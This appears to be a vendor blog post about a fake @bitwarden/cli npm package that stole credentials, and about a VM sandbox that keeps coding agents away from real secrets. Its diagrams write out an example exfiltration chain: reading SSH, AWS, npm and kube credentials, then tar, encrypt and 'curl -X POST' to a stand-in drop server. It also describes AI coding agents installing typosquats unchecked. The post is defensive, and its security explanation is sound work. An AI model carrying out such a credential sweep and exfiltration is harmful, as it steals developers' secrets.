Back to all posts
Published on · by Renaud Deraison

Your coding agent installed the fake Bitwarden

On April 22, somebody uploaded a malicious npm package called @bitwarden/[email protected] — a typosquat that swept SSH keys, AWS/Azure/GCP credentials, GitHub tokens, npm publish tokens, and kubeconfigs out of any machine that ran it. The thing it was designed to feed on is the same thing modern coding agents do without thinking: install whatever npm hands back. Here is what that chain looks like, and what changes when the agent runs inside a Bromure VM instead of on your laptop.

Last week somebody uploaded an npm package called @bitwarden/[email protected]. The real Bitwarden CLI is fine. The fake one was a typosquat with a post-install script that read the developer's SSH keys, AWS credentials, npm token, and kubeconfig, and POSTed the bundle to a server in somebody's rented IP space. There is a joke buried in this — a fake password manager whose actual job is credential theft — but the more useful observation is that the people most likely to type npm install @bitwarden/cli in 2026 are no longer human developers. They are coding agents, installing whatever the package manager hands back.

So look. Here is the news, in three sentences.

On April 22, 2026, someone published a package on npm under the name @bitwarden/[email protected]. According to Unit 42's writeup, the package was a typosquat attributed to a group calling itself TeamPCP — the same crew Datadog linked to the LiteLLM PyPI compromise three weeks earlier — and its post-install script swept the host for AWS, Azure, and GCP credentials, npm publish tokens, GitHub tokens, SSH keys, and kubeconfigs, packaged them up, and shipped them to attacker infrastructure. OX Security, framing the same incident in a wider context, called it Shai-Hulud's third coming — the latest entry in a self-replicating supply-chain worm that, since September 2025, has eaten thousands of npm packages and shows no sign of running out.

The joke, which I want to get out of the way before talking about what to do about it, is that the fake Bitwarden CLI is, in some sense, doing exactly what a Bitwarden CLI is supposed to do. Its job is to know about a lot of credentials. The credentials in question were just not the ones the user signed up for. Anyway. The attack itself is mechanically uninteresting. What is interesting, and what makes this incident worth a post, is who is going to install it.

A package nobody types anymore.

A human developer who wants the actual Bitwarden CLI usually goes to bitwarden.com/help/cli, reads the docs, copies the install command from a page that has a TLS cert chained to a vendor they recognize, and types it. They might mistype it, sure — that is the entire premise of typosquatting — but they have to be in a hurry, in the dark, and unlucky.

Coding agents are not in a hurry, in the dark, or unlucky. They are something worse: confidently wrong, at machine speed. You ask Claude Code to "wire up Bitwarden so the deploy script can pull the API key out of the vault," and the model — which has read a million blog posts that say npm install -g @bitwarden/cli — types npm install -g @bitwarden/cli. The package manager returns a package called @bitwarden/cli. There is no human in the loop checking the publisher field. There is no bitwarden.com cert chain to inspect, because npm is the cert chain. There is, in fact, no reason for the agent to not run the post-install script the package shipped, because that is what npm packages do.

DEVELOPER LAPTOP — host filesystem visible to whatever the agent runsCODING AGENT$ claude> wire up bitwarden clitool: bashnpm i -g @bitwarden/clinpm REGISTRY@bitwarden/cli 2026.4.0 ← typosquat publisher: not-bitwarden scripts.postinstall: yesPOST-INSTALL READS HOST~/.ssh/id_ed25519~/.aws/credentials~/.kube/config~/.npmrc // _authToken$GH_TOKEN~/.config/gcloud/~/.azure/tar | aes-256 | rsa-4096POST https://…/dropall real, all readableATTACKERhas itall of itexfilWHAT THE AGENT NEVER NOTICEDA package called @bitwarden/cli is, by spec, allowed to read the user's home directory and call out to a URL.Nothing in this chain is a vulnerability in npm or Node. It is the documented contract.
What the chain looks like on a normal developer laptop where a coding agent does the typing. The agent asks for `@bitwarden/cli`. The registry hands back the typosquat. The post-install script reads ~/.aws, ~/.ssh, ~/.npmrc, $GH_TOKEN, ~/.kube/config — i.e., everything the agent needed access to in order to be useful in the first place — and POSTs it to attacker infrastructure. Nothing about this is exotic; it is the documented behavior of npm post-install hooks, applied to a package the human was never going to inspect.

The thing to notice about this picture is that no part of it is a bug. npm packages are allowed to ship postinstall scripts. Those scripts run with the same privileges as the user invoking npm. A script running as the user can read everything the user can read. That includes — and this is the part that becomes a problem when an agent is doing the typing — ~/.ssh/id_ed25519, ~/.aws/credentials, the npm publish token in ~/.npmrc that lets you republish other packages, the GitHub token sitting in your shell, the kubeconfig that lets you do kubectl exec into production. You did not put those there for the agent. You put them there for you. The agent is now using your hands.

This is the part where, if I were trying to sell you on the same problem in 2018, I would now say "and so you should use a sandbox." And you would say, fairly: "I have heard of sandboxes." And we would both go get coffee. The reason I am writing this post in 2026 is that the sandbox that actually makes the @bitwarden/cli scenario a non-event is a slightly different shape than the one that has been on offer for the last decade, and the difference is the entire point.

The shape of the actual fix.

Suppose, instead of running this on your Mac, the coding agent ran inside a Linux VM that only shared the project folder you pointed it at. Suppose that VM's ~/.aws/credentials was a stub — a syntactically valid AWS credential file that contained nothing real — and the same for ~/.npmrc, $GH_TOKEN, and the rest. Suppose the VM had no ~/.ssh/id_ed25519 at all, just a forwarded ssh-agent socket whose keys were sitting in the macOS Keychain on the host side of the boundary. Suppose, finally, that there was a small proxy on the host that recognized those stub tokens at the wire and swapped them for the real ones, but only on whitelisted endpoints, only at the moment a request actually left the hypervisor.

Now run the @bitwarden/cli post-install script in that VM. It does exactly what it did before. It reads ~/.aws/credentials. It reads ~/.npmrc. It reads $GH_TOKEN. It even reads the contents of the ssh-agent socket file, which is a Unix domain socket and so is zero bytes long. It packages all of this up, encrypts it with its hardcoded RSA-4096 key, and POSTs it to its drop server.

The drop server receives a perfectly cryptographically authentic bundle of placeholders.

BROMURE VM (Linux guest) — what the post-install script can seeCODING AGENT$ claude> wire up bitwardentool: bashnpm i -g @bw/cli↳ postinstall runsFILESYSTEM & ENV — stubs only~/.aws/credentialsaws_secret = stub-aws-…~/.npmrc_authToken = stub-npm-…$GH_TOKENghp_stub_…~/.ssh/id_ed25519No such file or directory~/.ssh/agent.socksocket → host KeychainEXFIL ATTEMPTtar -cf bundle …openssl rsautl -encryptcurl -X POST drop.bad/upayload: stubs encrypted, but stubsHYPERVISOR — credential broker proxymacOS HOST — real secrets, never crossed the boundaryREAL CREDENTIAL VAULTmacOS Keychainid_ed25519 (private)~/.aws/credentialsAKIA… (real)~/.config/gh/hosts.ymlghp_real…~/.kube/configprod bearer (real)~/.npmrcnpm_… (real publish)PROXY — substitutes real for stub at egressgit push → api.github.com Authorization: ghp_stub_… ⇒ ghp_real_…aws s3 ls → *.amazonaws.com AKIA-stub ⇒ AKIA-real (sigv4 re-signed)drop.bad/u: not whitelisted ⇒ stub leaves as stubstubs go out, no proxy matchThe exfil request is allowed to leave. There is just nothing useful inside it.
The same chain inside a Bromure VM. The agent runs the same install. The post-install script does the same sweep. The credentials it finds in ~/.aws, ~/.npmrc, and $GH_TOKEN are stubs the VM was always going to ship with. There is no SSH key on disk because there is no SSH key on disk; there is a forwarded ssh-agent socket whose actual key material lives in the macOS Keychain on the other side of the hypervisor. The exfil POST goes out, encrypted, with placeholders inside.

There are a couple of subtle things in the picture worth slowing down on, because they are the difference between this design and a container.

The first is that the proxy is outbound, whitelisted, and at the wire. It is not a sidecar inside the VM. The VM never has the real GitHub token in any reachable form. There is no env var to dump, no file to read, no memory page to scrape. When the agent runs git push, the request leaves the VM with the stub in the Authorization header; the proxy on the host recognizes the stub, swaps in your real ghp_…, forwards the request, and forwards the response back. When the malware runs curl -X POST drop.bad/u, the proxy looks up drop.bad, finds nothing in its whitelist, and either drops the request or — depending on the VM's egress policy — forwards it as-is, with whatever stub the malware grabbed. Either way, the real credential is on the wrong side of the boundary at the only moment the malware was looking.

The second is that the SSH key is not, in any sense, in the VM. ssh-agent runs on macOS. The agent's private keys live in the macOS Keychain. Bromure forwards the agent socket — the same way OpenSSH has been doing since the 90s, and for the same reason — into the VM. Inside the VM, ssh and git work the way they always do; the underlying signing operation happens on the host, where the malware running inside the VM cannot see it. A package that does cat ~/.ssh/id_ed25519 gets No such file or directory and goes home.

Why a container does not get you here.

Look. The objection at this point — and it is a fair one — is "okay, but we have had Docker for ten years, and you can run an agent inside a container, and isn't that fine?" It would be fine, except for two boring reasons.

The first is that to make a container useful for the things a coding agent actually does — git push, gh pr create, aws s3 cp, npm publish, kubectl exec — you end up mounting ~/.ssh, ~/.aws/credentials, ~/.npmrc, and your GitHub token into the container. At which point the post-install script does cat ~/.ssh/id_ed25519 and gets the actual file. Containers do not have a credential broker; they have a bind mount. The bind mount is exactly the soft underbelly the malware was looking for.

The second is that on macOS, the container is running inside a hidden Linux VM anyway. Docker Desktop ships one; OrbStack ships one; Colima ships one. You are paying the VM cost — the disk, the memory, the boot time — already. The argument for a container, on macOS, in 2026, is not "it's lighter." It's just "it's what I am used to." Bromure cuts the middle layer. There is one VM. It is visible. It is yours. The credential broker and the ssh-agent forwarding are the parts the container model never had a story for.

What the trace catches that you weren't going to read.

The other thing worth saying about an agent installing something nobody asked for is that, very often, nobody noticed. The agent runs npm install, the agent gets a wall of output, the agent summarizes "I installed Bitwarden CLI and configured it" into a single sentence in chat, and you scroll past. The post-install script ran in the middle of that wall. You did not read the wall. Nobody reads the wall.

Bromure's session tracer captures the wall — every prompt, every tool call, every shell command, every file write, every exit code — and lets you scroll back through it after the session is done. "Find every npm install the agent ran today" is a grep. "Did the agent run any tool that wrote outside the project folder" is a grep. When the next @bitwarden/[email protected] shows up — and it will — the trace tells you which sessions touched it, and which project folders were mounted at the time. You don't have to reconstruct from memory or from a partial scrollback. The session is the audit log.

What this catches

A coding agent that installs @bitwarden/cli (or litellm, or axios, or the next one) inside a Bromure VM finds, when it sweeps for credentials, an empty SSH directory and a keyring of stubs. The post-install script runs. The exfil POST goes out. The bundle is a placeholder. The blast radius is the VM.

What the reset turns into a non-event

If the malware does anything beyond credential theft — persistence in crontab, a poisoned ~/.bashrc, a launchd equivalent inside the guest — none of it survives the next bromure reset. You don't have to find the persistence; you have to throw it out. Three seconds, fresh kernel, you keep coding.

What this does not catch

A package that calls a real backend you whitelisted — say, a package that uses your actual GitHub token to delete your own repos — gets the real token at the wire, by design, because that is how git push works. The defense is a small egress whitelist and a session trace, not omniscience. Damage inside the project folder still lands inside the project folder.

What still needs a human

Nothing about Bromure stops a coding agent from being talked into committing bad code. The boundary protects the credentials on your machine; it does not review the diff. Read the diff. The trace makes it easier to know which diffs to read.

One last thing.

There is a version of this story where I would tell you the lesson is "audit your dependencies." There is also a version where the lesson is "stop using npm." Both versions exist, both are partially right, and neither is going to happen on your team this quarter.

The version that is actually going to happen on your team this quarter is that the agent is going to install something it should not have, because the agent installs a lot of things, and somewhere in the long tail of the things it installs there will be one that was uploaded last Wednesday by somebody calling themselves TeamPCP or Shai-Hulud or whatever the next group calls itself. The question is just: when it does, does the post-install script find the secrets, or does it find a wall.

Bromure Agentic Coding is the wall. It is also free, open-source, and shipped today. Your move.